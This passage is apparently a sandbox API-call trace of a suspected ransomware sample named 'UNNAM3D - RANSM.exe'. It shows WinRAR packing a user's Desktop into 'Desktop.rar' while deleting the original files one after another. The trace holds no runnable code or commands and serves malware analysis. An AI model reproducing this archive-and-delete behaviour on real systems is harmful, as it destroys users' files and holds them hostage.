lpMsg=0xe414dd5a0) returned 0 [0072.504] GetKeyState (nVirtKey=16) returned 0 [0072.504] TranslateAcceleratorW (hWnd=0x10284, hAccTable=0x10335, lpMsg=0xe414dd5a0) returned 0 [0072.504] TranslateMessage (lpMsg=0xe414dd5a0) returned 0 [0072.504] DispatchMessageW (lpMsg=0xe414dd5a0) returned 0x7f65 [0072.504] DeleteFileW (lpFileName="yo39-hWsdk Kwqd0cHA.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\yo39-hwsdk kwqd0cha.flv")) returned 1 [0072.505] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0072.505] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0072.505] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0072.505] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0072.506] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0072.506] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0072.506] SetWindowTextW (hWnd=0x1028c, lpString="yo39-hWsdk Kwqd0cHA.flv") returned 1 [0072.506] GetTickCount () returned 0x27fd4 [0072.506] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0072.506] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0072.506] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0072.507] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0072.507] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="yo39-hWsdk Kwqd0cHA.flv") returned 23 [0072.507] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0072.507] GetTickCount () returned 0x27fd4 [0072.507] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16383554128) returned 1 [0072.507] GetTickCount () returned 0x27fd4 [0072.507] GetTickCount () returned 0x27fd4 [0072.507] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0072.507] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0072.507] GetFocus () returned 0x102a8 [0072.507] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0072.507] DeleteFileW (lpFileName="vmwN.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\vmwn.flv")) returned 1 [0072.550] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0072.551] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0072.551] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0072.551] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0072.551] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0072.551] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0072.551] SetWindowTextW (hWnd=0x1028c, lpString="vmwN.flv") returned 1 [0072.552] GetTickCount () returned 0x28003 [0072.552] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0072.552] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0072.552] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0072.552] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0072.552] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="vmwN.flv") returned 8 [0072.552] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0072.552] GetTickCount () returned 0x28003 [0072.552] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16388085710) returned 1 [0072.552] GetTickCount () returned 0x28003 [0072.552] GetTickCount () returned 0x28003 [0072.552] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0072.552] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0072.552] GetFocus () returned 0x102a8 [0072.552] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0072.554] DeleteFileW (lpFileName="UNNAM3D - RANSM.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\unnam3d - ransm.exe")) returned 0 [0072.554] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0xe414db660 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0072.554] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Desktop\\UNNAM3D - RANSM.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\unnam3d - ransm.exe")) returned 0 [0072.554] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0072.554] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="") returned 0 [0072.554] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0072.554] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="") returned 0 [0072.554] GetTickCount () returned 0x28003 [0072.554] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16388276565) returned 1 [0072.554] GetTickCount () returned 0x28003 [0072.554] GetTickCount () returned 0x28003 [0072.554] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0072.554] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0072.554] GetFocus () returned 0x102a8 [0072.554] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0072.554] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x202, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="Cannot delete %s") returned 0x10 [0072.554] GetLastError () returned 0x5 [0072.555] GetLastError () returned 0x5 [0072.555] SetLastError (dwErrCode=0x5) [0072.555] GetLastError () returned 0x5 [0072.555] SetLastError (dwErrCode=0x5) [0072.555] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0xe414d0680 | out: phkResult=0xe414d0680*=0x32c) returned 0x0 [0072.555] RegQueryValueExW (in: hKey=0x32c, lpValueName="Log", lpReserved=0x0, lpType=0xe414d0ae4, lpData=0xe414d0ae0, lpcbData=0xe414d0b18*=0x4 | out: lpType=0xe414d0ae4*=0x0, lpData=0xe414d0ae0*=0x0, lpcbData=0xe414d0b18*=0x4) returned 0x2 [0072.555] RegCloseKey (hKey=0x32c) returned 0x0 [0072.555] GetLastError () returned 0x5 [0072.555] GetLastError () returned 0x5 [0072.555] SetLastError (dwErrCode=0x5) [0072.555] GetCurrentThreadId () returned 0x4a4 [0072.555] CreateDialogParamW (hInstance=0x7ff6f74d0000, lpTemplateName="ERRORLISTDLG", hWndParent=0x0, lpDialogFunc=0x7ff6f75998c0, dwInitParam=0x0) returned 0x50238 [0072.591] GetWindowRect (in: hWnd=0x50238, lpRect=0xe414d1a28 | out: lpRect=0xe414d1a28) returned 1 [0072.591] GetClientRect (in: hWnd=0x50238, lpRect=0xe414d1a48 | out: lpRect=0xe414d1a48) returned 1 [0072.591] GetWindowTextW (in: hWnd=0x50238, lpString=0xe414d1a70, nMaxCount=1024 | out: lpString="WinRAR: Diagnostic messages") returned 27 [0072.591] SetWindowTextW (hWnd=0x50238, lpString="WinRAR: Diagnostic messages") returned 1 [0072.591] GetSystemMetrics (nIndex=8) returned 3 [0072.591] GetWindow (hWnd=0x50238, uCmd=0x5) returned 0x2027a [0072.591] GetWindowTextW (in: hWnd=0x2027a, lpString=0xe414d1a70, nMaxCount=1024 | out: lpString="") returned 0 [0072.591] GetWindow (hWnd=0x2027a, uCmd=0x2) returned 0x30258 [0072.592] GetWindowTextW (in: hWnd=0x30258, lpString=0xe414d1a70, nMaxCount=1024 | out: lpString="&Close") returned 6 [0072.592] SetWindowTextW (hWnd=0x30258, lpString="&Close") returned 1 [0072.592] GetWindow (hWnd=0x30258, uCmd=0x2) returned 0x2024c [0072.592] GetWindowTextW (in: hWnd=0x2024c, lpString=0xe414d1a70, nMaxCount=1024 | out: lpString="&Break operation") returned 16 [0072.592] SetWindowTextW (hWnd=0x2024c, lpString="&Break operation") returned 1 [0072.592] GetWindow (hWnd=0x2024c, uCmd=0x2) returned 0x20256 [0072.592] GetWindowTextW (in: hWnd=0x20256, lpString=0xe414d1a70, nMaxCount=1024 | out: lpString="Copy to c&lipboard") returned 18 [0072.592] SetWindowTextW (hWnd=0x20256, lpString="Copy to c&lipboard") returned 1 [0072.592] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x20254 [0072.592] GetWindowTextW (in: hWnd=0x20254, lpString=0xe414d1a70, nMaxCount=1024 | out: lpString="") returned 0 [0072.592] GetWindow (hWnd=0x20254, uCmd=0x2) returned 0x0 [0072.592] GetLastError () returned 0x0 [0072.592] SetLastError (dwErrCode=0x0) [0072.592] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0xe414d2e40 | out: phkResult=0xe414d2e40*=0x32c) returned 0x0 [0072.592] RegQueryValueExW (in: hKey=0x32c, lpValueName="Sound", lpReserved=0x0, lpType=0xe414d32a4, lpData=0xe414d32a0, lpcbData=0xe414d32d8*=0x4 | out: lpType=0xe414d32a4*=0x0, lpData=0xe414d32a0*=0x1, lpcbData=0xe414d32d8*=0x4) returned 0x2 [0072.592] RegCloseKey (hKey=0x32c) returned 0x0 [0072.592] QueryPerformanceCounter (in: lpPerformanceCount=0xe414d32c0 | out: lpPerformanceCount=0xe414d32c0*=16392075967) returned 1 [0072.593] MessageBeep (uType=0xffffffff) returned 1 [0072.638] LoadIconW (hInstance=0x0, lpIconName=0x7f03) returned 0x10029 [0072.638] SendMessageW (hWnd=0x50238, Msg=0x80, wParam=0x0, lParam=0x10029) returned 0x0 [0072.666] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x28) returned 0x1ec0dde28b0 [0072.666] GetDlgItem (hDlg=0x50238, nIDDlgItem=101) returned 0x2027a [0072.666] GetWindowRect (in: hWnd=0x2027a, lpRect=0xe414d3388 | out: lpRect=0xe414d3388) returned 1 [0072.666] GetClientRect (in: hWnd=0x50238, lpRect=0x7ff6f7678910 | out: lpRect=0x7ff6f7678910) returned 1 [0072.667] GetDlgItem (hDlg=0x50238, nIDDlgItem=1) returned 0x30258 [0072.667] GetWindowRect (in: hWnd=0x30258, lpRect=0xe414d3348 | out: lpRect=0xe414d3348) returned 1 [0072.667] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50238, lpPoints=0xe414d3348, cPoints=0x2 | out: lpPoints=0xe414d3348) returned -5242926 [0072.667] GetDlgItem (hDlg=0x50238, nIDDlgItem=103) returned 0x2024c [0072.667] GetWindowRect (in: hWnd=0x2024c, lpRect=0xe414d3398 | out: lpRect=0xe414d3398) returned 1 [0072.667] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50238, lpPoints=0xe414d3398, cPoints=0x2 | out: lpPoints=0xe414d3398) returned -5242926 [0072.667] GetLastError () returned 0x32 [0072.667] SetLastError (dwErrCode=0x32) [0072.667] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface\\ErrList", ulOptions=0x0, samDesired=0x9, phkResult=0xe414d25e0 | out: phkResult=0xe414d25e0*=0x0) returned 0x2 [0072.667] GetSystemMetrics (nIndex=50) returned 16 [0072.667] GetSystemMetrics (nIndex=49) returned 16 [0072.667] ImageList_Create (cx=16, cy=16, flags=0x21, cInitial=4, cGrow=16) returned 0x1ec0ddfec10 [0072.668] GetSystemMetrics (nIndex=50) returned 16 [0072.668] GetSystemMetrics (nIndex=49) returned 16 [0072.668] CreateIcon (hInstance=0x7ff6f74d0000, nWidth=16, nHeight=16, cPlanes=0x1, cBitsPixel=0x1, lpbANDbits=0xe414d3250, lpbXORbits=0xe414d31d0) returned 0x2027d [0072.668] ImageList_ReplaceIcon (himl=0x1ec0ddfec10, i=-1, hicon=0x2027d) returned 0 [0072.669] DestroyCursor (hCursor=0x2027d) returned 1 [0072.669] GetModuleHandleW (lpModuleName="shell32.dll") returned 0x7ff9300e0000 [0072.669] GetProcAddress (hModule=0x7ff9300e0000, lpProcName="SHGetStockIconInfo") returned 0x7ff9301bf2c0 [0072.669] SHGetStockIconInfo (in: siid=0x4e, uFlags=0x101, psii=0xe414d30b0 | out: psii=0xe414d30b0) returned 0x0 [0073.774] ImageList_ReplaceIcon (himl=0x1ec0ddfec10, i=-1, hicon=0x160225) returned 1 [0073.774] DestroyCursor (hCursor=0x160225) returned 1 [0073.774] GetModuleHandleW (lpModuleName="shell32.dll") returned 0x7ff9300e0000 [0073.775] GetProcAddress (hModule=0x7ff9300e0000, lpProcName="SHGetStockIconInfo") returned 0x7ff9301bf2c0 [0073.775] SHGetStockIconInfo (in: siid=0x4f, uFlags=0x101, psii=0xe414d30b0 | out: psii=0xe414d30b0) returned 0x0 [0073.790] ImageList_ReplaceIcon (himl=0x1ec0ddfec10, i=-1, hicon=0x180225) returned 2 [0073.791] DestroyCursor (hCursor=0x180225) returned 1 [0073.791] SendMessageW (hWnd=0x2027a, Msg=0x1003, wParam=0x1, lParam=0x1ec0ddfec10) returned 0x0 [0073.811] SendMessageW (hWnd=0x2027a, Msg=0x1036, wParam=0x0, lParam=0x10420) returned 0x0 [0073.812] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x226, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="Message") returned 0x7 [0073.812] SendMessageW (hWnd=0x2027a, Msg=0x1061, wParam=0x0, lParam=0xe414d3358) returned 0x0 [0073.813] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x6b, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="Archive") returned 0x7 [0073.813] SendMessageW (hWnd=0x2027a, Msg=0x1061, wParam=0x1, lParam=0xe414d3358) returned 0x1 [0073.813] SendMessageW (hWnd=0x2027a, Msg=0x101e, wParam=0x1, lParam=0x0) returned 0x1 [0073.884] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x550, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="Total errors: %d") returned 0x10 [0073.884] GetLastError () returned 0x0 [0073.884] SetLastError (dwErrCode=0x0) [0073.884] SetDlgItemTextW (hDlg=0x50238, nIDDlgItem=102, lpString="Total errors: 1") returned 1 [0073.885] GetDlgItem (hDlg=0x50238, nIDDlgItem=101) returned 0x2027a [0073.885] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2d30 [0073.885] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x48) returned 0x1ec0de1c8f0 [0073.885] GetLastError () returned 0x0 [0073.885] SetLastError (dwErrCode=0x0) [0073.885] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x64) returned 0x1ec0ddfe390 [0073.885] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x44) returned 0x1ec0de1d570 [0073.885] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x400) returned 0x1ec13bb5fd0 [0073.885] SendMessageW (hWnd=0x2027a, Msg=0x1004, wParam=0x0, lParam=0x0) returned 0x0 [0073.885] SendMessageW (hWnd=0x2027a, Msg=0x104d, wParam=0x0, lParam=0xe414d3ac0) returned 0x0 [0073.889] GetDC (hWnd=0x2027a) returned 0x24010806 [0073.889] GetTextExtentPoint32W (in: hdc=0x24010806, lpString="Cannot delete UNNAM3D - RANSM.exe", c=33, psizl=0xe414d3a80 | out: psizl=0xe414d3a80) returned 1 [0073.889] SendMessageW (hWnd=0x2027a, Msg=0x101e, wParam=0x0, lParam=0x12b) returned 0x1 [0073.910] GetTextExtentPoint32W (in: hdc=0x24010806, lpString="Desktop.rar (C:\\Users\\FD1HVy\\Desktop\\Desktop.rar)", c=49, psizl=0xe414d3a80 | out: psizl=0xe414d3a80) returned 1 [0073.911] SendMessageW (hWnd=0x2027a, Msg=0x101e, wParam=0x1, lParam=0x163) returned 0x1 [0073.979] ReleaseDC (hWnd=0x2027a, hDC=0x24010806) returned 1 [0073.979] IsWindowVisible (hWnd=0x50238) returned 1 [0073.979] SetLastError (dwErrCode=0x5) [0073.979] SetLastError (dwErrCode=0x5) [0073.979] GetLastError () returned 0x5 [0073.979] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x400, lpBuffer=0xe414dced0, nSize=0x400, Arguments=0x0 | out: lpBuffer="Access is denied.\r\n") returned 0x13 [0073.983] GetLastError () returned 0x5 [0073.983] GetLastError () returned 0x5 [0073.983] SetLastError (dwErrCode=0x5) [0073.983] GetLastError () returned 0x5 [0073.983] SetLastError (dwErrCode=0x5) [0073.983] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0xe414cfe40 | out: phkResult=0xe414cfe40*=0x378) returned 0x0 [0073.983] RegQueryValueExW (in: hKey=0x378, lpValueName="Log", lpReserved=0x0, lpType=0xe414d02a4, lpData=0xe414d02a0, lpcbData=0xe414d02d8*=0x4 | out: lpType=0xe414d02a4*=0x0, lpData=0xe414d02a0*=0x0, lpcbData=0xe414d02d8*=0x4) returned 0x2 [0073.983] RegCloseKey (hKey=0x378) returned 0x0 [0073.983] GetLastError () returned 0x5 [0073.983] GetLastError () returned 0x5 [0073.983] SetLastError (dwErrCode=0x5) [0073.983] GetCurrentThreadId () returned 0x4a4 [0073.983] GetDlgItem (hDlg=0x50238, nIDDlgItem=101) returned 0x2027a [0073.983] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2eb0 [0073.983] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2) returned 0x1ec0a654140 [0073.983] GetLastError () returned 0x5 [0073.983] SetLastError (dwErrCode=0x5) [0073.983] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x8) returned 0x1ec0a653fb0 [0073.983] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x24) returned 0x1ec0dde2d90 [0073.983] SendMessageW (hWnd=0x2027a, Msg=0x1004, wParam=0x0, lParam=0x0) returned 0x1 [0073.983] SendMessageW (hWnd=0x2027a, Msg=0x104d, wParam=0x0, lParam=0xe414d3280) returned 0x1 [0073.984] GetDC (hWnd=0x2027a) returned 0xc010841 [0073.985] GetTextExtentPoint32W (in: hdc=0xc010841, lpString="Access is denied.", c=17, psizl=0xe414d3240 | out: psizl=0xe414d3240) returned 1 [0073.985] ReleaseDC (hWnd=0x2027a, hDC=0xc010841) returned 1 [0073.985] IsWindowVisible (hWnd=0x50238) returned 1 [0073.985] SetLastError (dwErrCode=0x5) [0073.985] SetLastError (dwErrCode=0x5) [0073.985] DeleteFileW (lpFileName="ttLWBUDVomotx85.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\ttlwbudvomotx85.gif")) returned 1 [0074.076] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0074.076] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0074.076] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0074.076] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0074.076] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0074.076] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0074.076] SetWindowTextW (hWnd=0x1028c, lpString="ttLWBUDVomotx85.gif") returned 1 [0074.077] GetTickCount () returned 0x285ff [0074.077] UpdateWindow (hWnd=0x10284) returned 1 [0074.079] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0074.079] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0074.079] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0074.079] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0074.079] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="ttLWBUDVomotx85.gif") returned 19 [0074.079] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0074.079] GetTickCount () returned 0x285ff [0074.079] GetLastError () returned 0x0 [0074.079] SetLastError (dwErrCode=0x0) [0074.079] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0074.079] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0074.079] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 2%") returned 5 [0074.079] SetWindowTextW (hWnd=0x1028e, lpString=" 10%") returned 1 [0074.080] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0xa, lParam=0x0) returned 0x2 [0074.081] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16540922303) returned 1 [0074.081] GetTickCount () returned 0x285ff [0074.081] GetLastError () returned 0x0 [0074.081] SetLastError (dwErrCode=0x0) [0074.081] GetDlgItem (hDlg=0x10284, nIDDlgItem=154) returned 0x10296 [0074.081] GetWindowTextW (in: hWnd=0x10296, lpString=0xe414dc160, nMaxCount=2560 | out: lpString="00:00:05") returned 8 [0074.081] SetWindowTextW (hWnd=0x10296, lpString="00:00:07") returned 1 [0074.081] GetTickCount () returned 0x285ff [0074.081] GetLastError () returned 0x0 [0074.081] SetLastError (dwErrCode=0x0) [0074.081] GetDlgItem (hDlg=0x10284, nIDDlgItem=151) returned 0x1029a [0074.081] GetWindowTextW (in: hWnd=0x1029a, lpString=0xe414dc160, nMaxCount=2560 | out: lpString="00:00:00") returned 8 [0074.081] SetWindowTextW (hWnd=0x1029a, lpString="00:01:30") returned 1 [0074.082] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0074.082] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0074.085] GetFocus () returned 0x2027a [0074.085] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 0 [0074.085] IsDialogMessageW (hDlg=0x50238, lpMsg=0xe414dd5a0) returned 1 [0074.085] DeleteFileW (lpFileName="t1UTy\\y04cYW4-8JsL5Y8T29Y.xls" (normalized: "c:\\users\\fd1hvy\\desktop\\t1uty\\y04cyw4-8jsl5y8t29y.xls")) returned 1 [0074.566] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0074.566] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0074.566] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0074.566] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0074.567] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0074.567] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0074.567] SetWindowTextW (hWnd=0x1028c, lpString="y04cYW4-8JsL5Y8T29Y.xls") returned 1 [0074.567] GetTickCount () returned 0x287e3 [0074.567] UpdateWindow (hWnd=0x10284) returned 1 [0074.567] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0074.567] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0074.567] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0074.567] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0074.568] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="y04cYW4-8JsL5Y8T29Y.xls") returned 23 [0074.568] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0074.568] GetTickCount () returned 0x287e3 [0074.568] GetLastError () returned 0x0 [0074.568] SetLastError (dwErrCode=0x0) [0074.568] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0074.568] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0074.568] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 10%") returned 5 [0074.568] SetWindowTextW (hWnd=0x1028e, lpString=" 12%") returned 1 [0074.568] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0xc, lParam=0x0) returned 0xa [0074.569] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16589766036) returned 1 [0074.569] GetTickCount () returned 0x287e3 [0074.569] GetTickCount () returned 0x287e3 [0074.569] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0074.569] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0074.569] GetFocus () returned 0x2027a [0074.569] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 0 [0074.569] IsDialogMessageW (hDlg=0x50238, lpMsg=0xe414dd5a0) returned 1 [0074.571] DeleteFileW (lpFileName="t1UTy\\x ddEQMGCa7.ots" (normalized: "c:\\users\\fd1hvy\\desktop\\t1uty\\x ddeqmgca7.ots")) returned 1 [0074.764] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0074.810] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0074.810] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0074.810] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0074.810] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0074.810] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0074.810] SetWindowTextW (hWnd=0x1028c, lpString="x ddEQMGCa7.ots") returned 1 [0074.811] GetTickCount () returned 0x288dd [0074.811] UpdateWindow (hWnd=0x10284) returned 1 [0074.811] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0074.811] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0074.811] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0074.811] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0074.811] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="x ddEQMGCa7.ots") returned 15 [0074.811] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0074.812] GetTickCount () returned 0x288dd [0074.812] GetLastError () returned 0x0 [0074.812] SetLastError (dwErrCode=0x0) [0074.812] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0074.812] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0074.812] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 12%") returned 5 [0074.812] SetWindowTextW (hWnd=0x1028e, lpString=" 14%") returned 1 [0074.812] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0xe, lParam=0x0) returned 0xc [0074.813] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16614145907) returned 1 [0074.813] GetTickCount () returned 0x288dd [0074.813] GetTickCount () 